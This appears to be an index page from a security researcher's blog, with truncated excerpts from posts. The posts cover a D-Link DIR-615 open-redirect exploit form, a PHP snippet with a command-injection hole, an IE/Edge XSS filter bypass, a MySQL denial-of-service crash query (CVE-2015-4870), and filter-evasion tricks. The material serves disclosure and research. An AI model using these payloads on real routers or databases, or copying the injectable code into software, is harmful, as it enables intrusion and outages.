Web Application Security

D-Link DIR-615 Open Redirection and XSS

D-Link DIR-615
Hardware Version: E3
Firmware Version: 5.10

The ‘apply.cgi’ file was vulnerable to Open Redirection and XSS. Inside the router many other cgi files too use this functionality in ‘apply.cgi’. For example the ‘ping_response.cgi’ file.

Open Redirection

apply.cgi

<html>
<!-- @OsandaMalith -->
  <body>
    <form action="http://192.168.0.1/apply.cgi" method="POST" id="exploit">
      <input type="hidden" name="html_response_page" value="https://google.lk" />
      <input type="hidden" name="html_response_return_page" value="tools_vct.asp" />
    <img src=x onerror="exploit.submit()"/>
    </form>
  </body>
</html>

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PHP Feature or 0day?

Today one of my friends @RakeshMane10 gave me a challenge which I found pretty interesting.

[code language=”php”]
<?php
ini_set(‘error_displays’, 0);
$ip = htmlspecialchars($_GET[‘url’], ENT_QUOTES);
$f = fsockopen($ip, 80, $errno, $errstr, 5);
if($f) {
$result = shell_exec(‘ping -c 1 ‘ . $ip);
echo ‘<div class="alert alert-success">’ . nl2br($result) . ‘</div>’;
} else {
echo ‘<div class="alert alert-danger">’ .$errstr . ‘</div>’;
}
?>
[/code]
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Bypassing IE and Edge XSS Filters with Double Encoding

IE and Edge both uses a default XSS filter which is not powerful like the XSSAuditor(Webkit/Blink).
This is how the XSS filter is implemented.

https://msdnshared.blob.core.windows.net/media/TNBlogsFS/BlogFileStorage/blogs_technet/swi/WindowsLiveWriter/IE8XSSFilterArchitectureImplementation_7E69/pic1_thumb.png
(source: https://blogs.technet.microsoft.com/srd/2008/08/19/ie-8-xss-filter-architecture-implementation/)
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Storing a EXE inside MySQL

It’s possible to store a EXE file inside a MySQL database. You can try this out. For demonstration purposes I’m running MySQL in my localhost. I will be creating a simple database and a table big enough to store the exe file. Since we convert the exe to a hex file the content would be larger than the original exe file. I will be using ‘putty.exe’ as the binary.

[code language=”sql”]
CREATE DATABASE testupload;

USE testupload

CREATE TABLE uploads (
id INT(3) NOT NULL AUTO_INCREMENT,
name VARCHAR(1000000) NOT NULL,
PRIMARY KEY (id)
);
[/code]
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Unofficial Way of Commenting in MySQL and MariaDB

In MySQL and MariaDB the official methods of commenting would be

1
2
3
--
#
/* comment */

The ‘#’ is also known as a “fragment identifier” and is typically used to identify a portion of an HTML document that sits within a fully qualified URL.
When passing ‘#’ inside a URL to the back-end database we can use ‘%23’.
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MySQL DoS in the Procedure Analyse Function – CVE-2015-4870

This is a crash I found in MySQL versions up to 5.5.45. In the function procedure analyse() I found this crash while passing a sub query.

Syntax:
[code language=”sql”]
SELECT * FROM `table_name` PROCEDURE ANALYSE((SELECT*FROM(SELECT 1)x),1);
[/code]
So an Example POC would be:
[code language=”sql”]
select * from information_schema.tables procedure analyse((select*from(select 1)x),1);
[/code]
[code language=”sql”]
—————————————————————————————————————
mysql> select * from information_schema.tables procedure analyse((select*from(select 1)x),1);
ERROR 2013 (HY000): Lost connection to MySQL server during query
mysql>
mysql> select 1;
ERROR 2006 (HY000): MySQL server has gone away
No connection. Trying to reconnect…
ERROR 2003 (HY000): Can’t connect to MySQL server on ‘localhost’ (10061)
ERROR:
Can’t connect to the server

mysql>
—————————————————————————————————————
[/code]

View post on imgur.com


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IP Obfuscator

A simple tool to convert the IP to different obfuscated forms written in C by me 🙂 I just wrote this for fun. You may use this when it comes bypassing application filters and much more 🙂

View post on imgur.com

Example:
IP address of http://google.lk : http://222.165.163.91
Other forms you can write the same IP:

[+] http://3735397211
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My Journey into eWPT

Last year I thought of getting certified in the field of web application security since I haven’t done any certifications before. I researched about the current certifications in the market and found out most of them are just answering few MCQs and getting certified, but unfortunately those are highly accepted by different organizations. But when it comes to the info sec industry there’s a bunch of good certifications I had in mind to complete someday. So considering my budget, time and resources I thought of taking eLearnSecurity’s eWPT certification. This certification is highly hands-on and a fully practical penetration test based exam. When it comes to the industry it’s hard to prove we know something, so I think I did a better choice in taking a certification in the field which I have experience since small age. Apart from that before I loose my teens I wanted to get certified 😉
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